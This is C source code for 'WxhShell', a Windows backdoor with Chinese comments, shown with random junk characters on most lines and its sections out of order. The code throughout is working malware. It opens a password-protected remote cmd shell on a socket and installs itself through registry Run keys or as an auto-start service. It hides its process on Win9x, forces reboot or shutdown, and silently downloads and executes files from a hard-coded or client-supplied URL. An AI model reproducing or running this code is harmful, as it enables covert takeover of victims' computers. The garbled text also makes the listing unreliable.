    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OA9 P"*  
    else { 91&=UUkK?  
    closesocket(wsh); sVP\EF8PY  
    ExitThread(0); gzVZPvTPE  
    } (O09HY:  
    break; N GnE  
    } bvZD@F`2  
  // 获取shell Zp_j\B  
  case 's': { "#0P*3-c  
    CmdShell(wsh); RWM~7^JA  
    closesocket(wsh); yVn%Bz' [  
    ExitThread(0); =z9,=rR4  
    break; 7|dm"%@  
  } U,yZ.1V^:  
  // 退出 DH _~,tK9  
  case 'x': { mM/#(Ghl  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _'Vo3b  
    CloseIt(wsh); # Dgkl  
    break; yRyRH%p)  
    } 7u^wO<  
  // 离开 AriV4 +  
  case 'q': { Citumc)E  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $X.F=Kv  
    closesocket(wsh); ?XyrG1('  
    WSACleanup(); }lPWA/  
    exit(1); #<&@-D8  
    break; xZ2 1i QeN  
        } }2BNy9q@  
  } d@*dbECG  
  } +N,Fq/x  
RDQ]_wsyKG  
  // 提示信息 zn= pm#L  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t W   
} f`>\bdz  
  } tQ'R(H`  
@pv:uON\  
  return; Qz{Vl> "  
} g9g ] X  
.uX(-8n ~  
// shell模块句柄 ~v/` `s  
int CmdShell(SOCKET sock) (kK8 OxfF  
{ j&A9 &+w  
STARTUPINFO si; Fv/{)H<:y  
ZeroMemory(&si,sizeof(si)); (qc <'$o  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; oliVaavj  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 13 JG[,w  
PROCESS_INFORMATION ProcessInfo; ;2fzA<RkK  
char cmdline[]="cmd"; Edh9=sxL  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {nA+-=T  
  return 0; ~KGE(o4p  
} "k [$euV  
Wx;%W"a  
// 自身启动模式 UDcr5u eKn  
int StartFromService(void) IWN18aaL?  
{ S$wC{7?f  
typedef struct 'i3-mZ/|8  
{ ]NWcd~"b!Z  
  DWORD ExitStatus; KU+u.J  
  DWORD PebBaseAddress; l&] %APL  
  DWORD AffinityMask; MB>4Y]rtU  
  DWORD BasePriority; +ZE"pA^C  
  ULONG UniqueProcessId; y\iECdPU  
  ULONG InheritedFromUniqueProcessId; u5U^}<}y}  
}   PROCESS_BASIC_INFORMATION; d@Bd*iI<  
\Z%_dT}  
PROCNTQSIP NtQueryInformationProcess; }Sh@.3*  
}\N ~%?6D  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; xQ?$H?5B<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; qIzv|Nte  
eK3d_bF+  
  HANDLE             hProcess; 4T)`%Oo<}  
  PROCESS_BASIC_INFORMATION pbi; +['1~5  
8r,0Qic2K  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); OaN"6Ge#  
  if(NULL == hInst ) return 0; 98zJ?NaD&  
UNrO$aX!1'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ph2 _P[S'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Vn/FW?d7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Pa|*Jcr  
5?j#  
  if (!NtQueryInformationProcess) return 0; Y3)*MqZlF  
Lq@uwiq!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Dg ~k"Ice  
  if(!hProcess) return 0; wz:,gpH  
\)MzUOZn  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ct(euPU  
6@(o8i   
  CloseHandle(hProcess); +'[*ikxD=g  
OCqknA  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5HAAaI  
if(hProcess==NULL) return 0; /b4>0DXT5  
-"N vu  
HMODULE hMod; X1u\si%.4S  
char procName[255]; \4OU+$m  
unsigned long cbNeeded; h2+"e# _  
H}usL)0&&  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,MLAW  
6TQ[2%X'  
  CloseHandle(hProcess); {FN4BC`3+  
[NGq$5  
if(strstr(procName,"services")) return 1; // 以服务启动 4*q6#=G  
VjiwW%UOM  
  return 0; // 注册表启动 d.U"lP/)D  
} eM7 F8j  
>v/%R~BuX  
// 主模块 UD2 l!)rW  
int StartWxhshell(LPSTR lpCmdLine) _*t75e$-  
{ H5gcP11r  
  SOCKET wsl; xWWVU}fd1  
BOOL val=TRUE; T+5H2]yy)  
  int port=0; ,;h}<("q  
  struct sockaddr_in door; X4bZ4U*  
?*QL;[n1  
  if(wscfg.ws_autoins) Install(); AY9#{c>X  
IJZx$8&A  
port=atoi(lpCmdLine); ZtI@$ An  
d=HD! e  
if(port<=0) port=wscfg.ws_port; Y1DbBDk  
B|AIl+y  
  WSADATA data; -BrJ5]T>*  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?IiFFfs  
A;;OGJ,!\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (gutDUO;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (. $e@k=  
  door.sin_family = AF_INET; r,GgMk  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [&p/7  
  door.sin_port = htons(port); HIlTt  
1HRcEzA  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { C8 $KVZ  
closesocket(wsl); [Z]CBEE  
return 1; P[,  
} T<0V ^B7  
kh"APxQ79  
  if(listen(wsl,2) == INVALID_SOCKET) { D<^K7tJui  
closesocket(wsl); EuD$^#  
return 1; !@)tkhP  
} G/_8xmsU  
  Wxhshell(wsl); ]rO/IuB  
  WSACleanup(); VQ2B|v  
e= ",58  
return 0; 1L _(n  
h7}P5z0F  
} X/S%0AwZ  
}~ga86:n0  
// 以NT服务方式启动 n=h!V$X   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^QTkre  
{ |f[:mO   
DWORD   status = 0; U;U19[]  
  DWORD   specificError = 0xfffffff; 7I:<i$)V  
","to  
  serviceStatus.dwServiceType     = SERVICE_WIN32; B}d)e_uLj  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; XiyL563gh  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,LDdL  
  serviceStatus.dwWin32ExitCode     = 0; #4^D'r>pJ  
  serviceStatus.dwServiceSpecificExitCode = 0; ~H626vT37  
  serviceStatus.dwCheckPoint       = 0; *iVv(xXgN  
  serviceStatus.dwWaitHint       = 0; <TEDs4 C  
8H{9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8-Z|$F"  
  if (hServiceStatusHandle==0) return; 0(|36 ;x  
)KN]"<jB  
status = GetLastError(); h]^= y.Q  
  if (status!=NO_ERROR) =#?=Lh  
{ t,yMO  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; D{]9s  
    serviceStatus.dwCheckPoint       = 0; $4>x4*  
    serviceStatus.dwWaitHint       = 0; E vD g{M}  
    serviceStatus.dwWin32ExitCode     = status; dYp} R>+  
    serviceStatus.dwServiceSpecificExitCode = specificError; jbu+>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); f_r4*#&v  
    return; l]geQl:7`r  
  } ^A t,x  
&jF[f4:7  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; (=QiXX1r  
  serviceStatus.dwCheckPoint       = 0; G -RE  
  serviceStatus.dwWaitHint       = 0; t",b.vki\z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {pk&dB _Bu  
} 22v= A6 =  
x^!LA,`j  
// 处理NT服务事件,比如:启动、停止 udX!R^8jE  
VOID WINAPI NTServiceHandler(DWORD fdwControl) O['5/:-  
{ 'X1/tB8*  
switch(fdwControl) qoJ<e`h}  
{  k< g  
case SERVICE_CONTROL_STOP: /cZ-+cu  
  serviceStatus.dwWin32ExitCode = 0; Wg=4`&F^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 0/b3]{skK  
  serviceStatus.dwCheckPoint   = 0; 2~W8tv0^b2  
  serviceStatus.dwWaitHint     = 0; jH]?vpP  
  { h Ap(1h#m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )gKX +'  
  } A!ak i}aT~  
  return; Vg8c}>7  
case SERVICE_CONTROL_PAUSE: kntn9G  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _{0IX  
  break; %9`\ 7h7K  
case SERVICE_CONTROL_CONTINUE: "5$2b>_UE  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; [!>DQE  
  break; v\Xyz )  
case SERVICE_CONTROL_INTERROGATE: @" BkLF  
  break; OC_i,  
}; r>7Dg~)V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]*pro|  
} &l(PWU  
C4t@;U=x  
// 标准应用程序主函数 iea7*]vW  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (&-!l2  
{ vI+X9C?  
'&Tq/;Ml  
// 获取操作系统版本 iKe68kx  
OsIsNt=GetOsVer(); &s_)|K  
GetModuleFileName(NULL,ExeFile,MAX_PATH); eR:!1z_h  
TWo.c _l  
  // 从命令行安装 +p_>fO  
  if(strpbrk(lpCmdLine,"iI")) Install(); mpDQhD[n  
{t QZqqdn@  
  // 下载执行文件 5jK9cF$>  
if(wscfg.ws_downexe) { g ,""j`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =&v&qn e9  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]sV) '-  
} CC{{@  
[[VB'Rs  
if(!OsIsNt) { 6Bn%7ZBv  
// 如果时win9x,隐藏进程并且设置为注册表启动 aj@<4A=;  
HideProc(); K6@9=_A  
StartWxhshell(lpCmdLine); P)&qy .+E0  
} b0lZb'  
else *WZ?C|6+  
  if(StartFromService()) (eF "[,z  
  // 以服务方式启动 s N|7   
  StartServiceCtrlDispatcher(DispatchTable); ~<Sb:I zld  
else tk,Vp3p  
  // 普通方式启动 \TTt!"aK  
  StartWxhshell(lpCmdLine); 04QY x}a  
J+=+0{}  
return 0; guWX$C-+1  
} _16IP  
'"o&BmF  
g0-J8&?X  
p;YS`*!s  
=========================================== tAH0o\1;  
W>(p4m  
?D`h[ai  
I 7s}{pG  
t{Xf3.  
g~Agy  
" ,)7y? *D}  
a) 5;Od  
#include <stdio.h> Vo:Gp  
#include <string.h> =hDFpb,mr  
#include <windows.h> ZT%Q:]B+  
#include <winsock2.h> oBZzMTPe  
#include <winsvc.h> 6F4OISy%3  
#include <urlmon.h> VLs%;|`5D  
;$$.L bb8  
#pragma comment (lib, "Ws2_32.lib") 9a lMC  
#pragma comment (lib, "urlmon.lib") ;ZowC#j  
f<v:Tg.[  
#define MAX_USER   100 // 最大客户端连接数 J}37 9  
#define BUF_SOCK   200 // sock buffer 15tT%TC  
#define KEY_BUFF   255 // 输入 buffer $g+q;Y~i0  
;Vh5nO  
#define REBOOT     0   // 重启 |}^ BF%8V:  
#define SHUTDOWN   1   // 关机 e:kd0)9  
Y<EdFzle  
#define DEF_PORT   5000 // 监听端口 _vgFcE~E@  
W2G@-`,  
#define REG_LEN     16   // 注册表键长度 B gB]M3Il  
#define SVC_LEN     80   // NT服务名长度 z;d]=PT  
-P7JaH/Q  
// 从dll定义API 25CO_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); F9 q9BH  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); F1UTj "<e  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #> @~3kGg  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); b Q6<R4  
dyMj=e  
// wxhshell配置信息 [  bB   
struct WSCFG { Dhy@!EOS  
  int ws_port;         // 监听端口 vgvJ6$#  
  char ws_passstr[REG_LEN]; // 口令 rLzN #Zoi  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8KhE`C9z  
  char ws_regname[REG_LEN]; // 注册表键名 `oUuAL  
  char ws_svcname[REG_LEN]; // 服务名 mhZ60RW  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {Mx3G*hr  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "<5su5]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 60r4%> d  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =& .KKr  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [$[1|r *Q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^jxV  
p!]$!qHO (  
}; u#uT|a.  
F1aI4H<(T  
// default Wxhshell configuration %qj8*1  
struct WSCFG wscfg={DEF_PORT, X=U>r  
    "xuhuanlingzhe", }"CX`  
    1, S LSbEm  
    "Wxhshell", }HC6m{vH(  
    "Wxhshell", 6 (@U+`  
            "WxhShell Service", 6~_ TXy/  
    "Wrsky Windows CmdShell Service", FG[YH5  
    "Please Input Your Password: ", bQFMg41*w7  
  1, I"1H]@"=  
  "http://www.wrsky.com/wxhshell.exe", mcB8xE  
  "Wxhshell.exe" /9..hEq^  
    }; NiCB.a  
!?u{2 D  
// 消息定义模块 7-u['nFJ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; q!+&|F  
char *msg_ws_prompt="\n\r? for help\n\r#>"; L 2k?Pl  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <5wk~|@t  
char *msg_ws_ext="\n\rExit."; <B %s9Zy  
char *msg_ws_end="\n\rQuit."; =Pu;wx9  
char *msg_ws_boot="\n\rReboot..."; xOAA1#   
char *msg_ws_poff="\n\rShutdown..."; &>]c"?C*  
char *msg_ws_down="\n\rSave to "; ;5(ptXX1W  
FhkS"y  
char *msg_ws_err="\n\rErr!"; 2y0J~P!I  
char *msg_ws_ok="\n\rOK!"; ,m)k;co^  
[hl8LP+~  
char ExeFile[MAX_PATH]; sKK*{+,kh;  
int nUser = 0; =T0;F0@#4  
HANDLE handles[MAX_USER]; R&`; C<6}D  
int OsIsNt; 7eyVm;LQD  
6~@S,i1  
SERVICE_STATUS       serviceStatus; fi.[a8w:W  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; zj9)vr`7  
/\0 rRT  
// 函数声明 WK<:(vu.  
int Install(void); 2[8C?7_K0?  
int Uninstall(void); }KZt7)  
int DownloadFile(char *sURL, SOCKET wsh); |)vC^=N{+  
int Boot(int flag); ^[]@dk9  
void HideProc(void); ~dFdO7  
int GetOsVer(void); d@?++z  
int Wxhshell(SOCKET wsl); #OT8_D  
void TalkWithClient(void *cs); {r,MRZaa  
int CmdShell(SOCKET sock); !lk -MN.  
int StartFromService(void); :4V8Iz 71  
int StartWxhshell(LPSTR lpCmdLine); %Ct^{k~1  
nGqD{!i<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); th?w&;L  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); +%%Ef]  
BS_ 3|  
// 数据结构和表定义 [$<\*d/  
SERVICE_TABLE_ENTRY DispatchTable[] = g$N/pg2>cT  
{ e2 X\ll  
{wscfg.ws_svcname, NTServiceMain}, nbECEQ:|B  
{NULL, NULL} OrJuE[R.  
}; 1YrIcovi-  
<V~B8C!)  
// 自我安装 'fGB#uBt  
int Install(void) Uf ?._&:  
{ %]m/fo4b  
  char svExeFile[MAX_PATH]; Hv~& RZpe  
  HKEY key; ruKm_j#J  
  strcpy(svExeFile,ExeFile); Q,f~7IVX  
R iPxz=kr  
// 如果是win9x系统,修改注册表设为自启动 m);0sb  
if(!OsIsNt) { ,_$}>MY;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fQkfU;5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 26&$vgO~:  
  RegCloseKey(key); |K(2_Wp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [@&0@/s*t'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); IOjp'6Yr  
  RegCloseKey(key); /qd5{%:  
  return 0; VPh0{(O^=  
    } !'jZ !NFO  
  } P"%QFt,  
} 8nj^x?bn  
else { sT*D]J 2  
.T63:  
// 如果是NT以上系统,安装为系统服务 5vmc'Om  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); sgGXj7  
if (schSCManager!=0) Nf!g1D"U  
{ `+\6;nM  
  SC_HANDLE schService = CreateService hn -!W;j  
  ( Ki,SFww8r  
  schSCManager, 3tjF4C>h|  
  wscfg.ws_svcname, &qjc+-r{l  
  wscfg.ws_svcdisp, ,'nd~{pX"(  
  SERVICE_ALL_ACCESS, 3b d(.he2u  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , QH d^?H*  
  SERVICE_AUTO_START, GI[TD?s  
  SERVICE_ERROR_NORMAL, O?=YY@j  
  svExeFile, 2I@d=T{K  
  NULL, O)jpnNz  
  NULL, R[ #vFQ  
  NULL, +I$,Y~&`>  
  NULL, nqFJNK]a  
  NULL ){I0  
  ); 7'~O ai~r  
  if (schService!=0) ;J>upI   
  { -91*VBrOd  
  CloseServiceHandle(schService); C$+z1z.!  
  CloseServiceHandle(schSCManager); IW{}l=D/  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); d$H   
  strcat(svExeFile,wscfg.ws_svcname); w wuM!Z+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { k Xg&}n7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Lhz*o6)  
  RegCloseKey(key); sc0.!6^'V  
  return 0; zJ $&`=  
    } '-l.2IUyT  
  } 9zL(PkC%\  
  CloseServiceHandle(schSCManager); E xls_oSp  
} }mYxI^n  
} 7K 'uNPC  
;(3!#4`q(]  
return 1; )z^NJ'v4(  
} lZr}F.7  
8)o%0#;0B  
// 自我卸载 hE;|VSdo  
int Uninstall(void) cp)BPg  
{ T2ZB(B D  
  HKEY key; Dx5X6t9=  
EEn8]qJC  
if(!OsIsNt) { @"G+kLv0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A/c#2  
  RegDeleteValue(key,wscfg.ws_regname); chE}TK  
  RegCloseKey(key); ;TC"n!ew  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }WV}in0  
  RegDeleteValue(key,wscfg.ws_regname); t+ vz=`  
  RegCloseKey(key); A`:a T{j  
  return 0; W5Uw=!LdEY  
  } }|OwUdE!R9  
} S0' ACt`  
} S aH':UN  
else { Q3I^(Ll"L  
2;w`W58  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `x]`<kS;  
if (schSCManager!=0) *6bO2LO"  
{ /os,s[w  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); } 3}H}  
  if (schService!=0) aJ"m`5]=%  
  { *N&~Uq^  
  if(DeleteService(schService)!=0) { SaIY-PC  
  CloseServiceHandle(schService); |E9'ii&?B  
  CloseServiceHandle(schSCManager); ^)UX#D3b  
  return 0; 6Vj=SYK  
  } < 2SWfH1>  
  CloseServiceHandle(schService); g.*DlD%%  
  } M5kw3Jy5  
  CloseServiceHandle(schSCManager); CUN1.i<pk8  
} .]e_je_  
} .|e8v _2J  
kW7$Gw]-  
return 1; 4:9N]1JCb  
} mIZ6[ ?  
1{A K=H')  
// 从指定url下载文件 jx{wOb~oO)  
int DownloadFile(char *sURL, SOCKET wsh) z*UgRLKZD  
{ )*XD"-9  
  HRESULT hr; ni85Ne$  
char seps[]= "/"; IG Ax+3V  
char *token; }a%1$>sj  
char *file; GO)5R,  
char myURL[MAX_PATH]; ?2%;VKN4  
char myFILE[MAX_PATH]; U,K=(I7OBX  
&/n*>%2  
strcpy(myURL,sURL); 1Ror1%Q"?  
  token=strtok(myURL,seps);  i}_"  
  while(token!=NULL) neQ~h4U"  
  { [DZ|Ltv  
    file=token; @'9m()%-]g  
  token=strtok(NULL,seps); YsMM$rjP +  
  } ?C`r3  
*XOLuPL>6)  
GetCurrentDirectory(MAX_PATH,myFILE); X;1yQ |su  
strcat(myFILE, "\\"); 8'"=y}]H~  
strcat(myFILE, file); tZG l^mA"g  
  send(wsh,myFILE,strlen(myFILE),0); N%F4ug@i   
send(wsh,"...",3,0); suS[P?4  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @THa[|(S  
  if(hr==S_OK) PJ YUD5  
return 0; wF9L<<&B  
else O 6ph_$nt.  
return 1; [MuZ^'dR  
?t5<S]'r$  
} !zfKj0^  
/i~x.i3  
// 系统电源模块 zI0d  
int Boot(int flag) S Rk%BJ? ~  
{ NBL%5!'  
  HANDLE hToken; H:)_;k  
  TOKEN_PRIVILEGES tkp; @^R l{p  
UM/!dt}DnF  
  if(OsIsNt) { y 2)W"PuG  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6e8 gFQ"w2  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); .DI?-=p|_#  
    tkp.PrivilegeCount = 1; osl\j]U8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2qot(Zs1i  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); K3Bw3j 9  
if(flag==REBOOT) { d'"|Qg_'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  wX5q=I  
  return 0; d N$,AOT  
} dVUe!S`  
else { W4,'?o  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ('{aOiSH  
  return 0; _, E/HAX  
} PXyv);#Q`  
  } Ze[,0Y!u&  
  else { ?;y-skh  
if(flag==REBOOT) { >C19Kie72  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) z-qbe97  
  return 0; *7E#=xb  
} '#XT[\  
else { q^:VF()d_z  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) yVp,)T9  
  return 0; yM`u]p1  
} ?5jLN&A3 G  
} Se_]=>WI  
;?k<L\zaw  
return 1; 8ok=&Gq4  
} Vef!5]t5  
l2kGFgc  
// win9x进程隐藏模块 DJ DQH\&  
void HideProc(void) ?% [~J  
{ r ^\(M {  
"X^<g{]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1yZA_x15:  
  if ( hKernel != NULL ) L$ i:~6  
  { *:Rs\QH   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [}M!ez  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $C sE[+k1  
    FreeLibrary(hKernel); $4^SWT.  
  } %ioVNbrR7  
S@Rd>4  
return; KzP{bK5/  
} -|Zzs4bx  
ALy7D*Z]w  
// 获取操作系统版本 .9J}Z^FD  
int GetOsVer(void) Q`W2\Kod]  
{ P6O\\,B1A  
  OSVERSIONINFO winfo; $~iZaX8&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); zPc"r$'0 U  
  GetVersionEx(&winfo); h=0a9vIXF  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) P%)r4+at  
  return 1; 6Iqy"MQuq  
  else pr,,E[  
  return 0; hPUAm6 b;  
} ^Fh*9[Zf$  
FuBt`H  
// 客户端句柄模块 v7SYWO#  
int Wxhshell(SOCKET wsl) 9(J,&)J  
{ n| {#5#  
  SOCKET wsh; SDC'S]{ew  
  struct sockaddr_in client; [{Jo(X  
  DWORD myID; :-5[0Mx=  
W;yc)JB   
  while(nUser<MAX_USER) I`_I^C3  
{ Y X^c}t}U  
  int nSize=sizeof(client); [8a(4]4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); e.skE>&  
  if(wsh==INVALID_SOCKET) return 1; |$b8(g$s)  
 [#C6K '  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); GdcXU:J /  
if(handles[nUser]==0) >x JzV  
  closesocket(wsh); c )LG+K  
else `hZh}K^  
  nUser++; L7Hv)  
  } H7GI`3o  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ZX` \so,&,  
DH yv^  
  return 0; 2t9UJu4  
} mmbe.$73  
@t~y9UfF  
// 关闭 socket 7;o:r$08&}  
void CloseIt(SOCKET wsh) mpug#i6q  
{ @b,H'WvhfS  
closesocket(wsh); v>#Njgo  
nUser--; `VKFA<T  
ExitThread(0); b9RHsr]V  
} }q`9U!v  
 C3{hf  
// 客户端请求句柄 ?a3 wBy  
void TalkWithClient(void *cs) +7}^Y}(  
{ rP3tFvOH  
&U7v=a  
  SOCKET wsh=(SOCKET)cs; 88~Nrl=co  
  char pwd[SVC_LEN]; n82tZpn  
  char cmd[KEY_BUFF]; a8J AJkFB  
char chr[1]; 2+rT .GFc  
int i,j; }[;ZZm?  
8&G9 ?n`I5  
  while (nUser < MAX_USER) { 9L:wfg}8s  
'EiCT l  
if(wscfg.ws_passstr) { L@{'J  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qC> tni%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Vo@7G@7K(  
  //ZeroMemory(pwd,KEY_BUFF); U-9Aq  
      i=0; h(HpeN%`#  
  while(i<SVC_LEN) { x*7A33@i  
#\w N2`" W  
  // 设置超时 1H-Y3G>jN  
  fd_set FdRead; Ks P2./N  
  struct timeval TimeOut; Kf:!tRE  
  FD_ZERO(&FdRead); ZKXE7p i  
  FD_SET(wsh,&FdRead); q$:7j5E  
  TimeOut.tv_sec=8; a#=d{/ ab  
  TimeOut.tv_usec=0; TQT3]h6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); bO\++zOF  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^x\VMd3*w  
P+o"]/7U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |CDM(g>%  
  pwd=chr[0]; /AD&z?My+E  
  if(chr[0]==0xd || chr[0]==0xa) { j~k,d.17M  
  pwd=0; /e0B$UymFu  
  break; \R<MQ# x  
  } #{}?=/nJ~-  
  i++; (<eLj Q  
    } N l@G\_  
;_I>`h"r  
  // 如果是非法用户,关闭 socket ]&%KU)i?  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {Nl?  
} [t?tLUg|6  
o'#& =h$_  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); S&` 6pN  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6kH6"  
jg710.v:  
while(1) { a yA;6Qt  
w 0_P9g:  
  ZeroMemory(cmd,KEY_BUFF); V1]GOmXz  
r >'tE7W9  
      // 自动支持客户端 telnet标准   Zo<)r2|O.  
  j=0; <a"(B*bBd  
  while(j<KEY_BUFF) { U3{<+vSR`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -wXeue},>  
  cmd[j]=chr[0]; Mp`$1Ksn  
  if(chr[0]==0xa || chr[0]==0xd) { {$z54nvw$  
  cmd[j]=0; ,p d -hu  
  break; A3a//e  
  } qLmzA@Cv  
  j++; m !*F5x  
    } P\j\p =  
=y][j+WH  
  // 下载文件 }=/zG!+  
  if(strstr(cmd,"http://")) { @:}c(j  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); y(J~:"}7)  
  if(DownloadFile(cmd,wsh)) ^/ "}_bR  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); nqo{]fn  
  else ='h2z"}\Bn  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /TpTR-\I0  
  } duG3-E  
  else { (bb!VVA  
y!=,u  
    switch(cmd[0]) { 7[1Lh'u  
  SboHo({5VA  
  // 帮助 wb$uq/|  
